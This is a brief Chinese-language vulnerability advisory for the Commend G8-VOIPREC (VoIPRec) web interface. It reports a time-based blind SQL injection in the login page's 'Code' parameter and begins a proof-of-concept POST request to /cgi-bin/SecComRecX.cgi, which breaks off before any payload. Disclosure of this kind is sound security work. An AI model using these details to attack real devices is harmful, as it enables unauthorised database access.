commend_sqli

CVE-2023-XXXXX 建议描述 G8-VOIPREC（Commend VoIPRec）Web界面在登录页面的"Code"参数中存在基于时间的盲SQL注入漏洞。 附加信息 PoC: POST /cgi-bin/SecComRecX.cgi HTTP/1.1 Host: 192.168.88.10 User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: application/json, text/javascript, / ; q=0.01...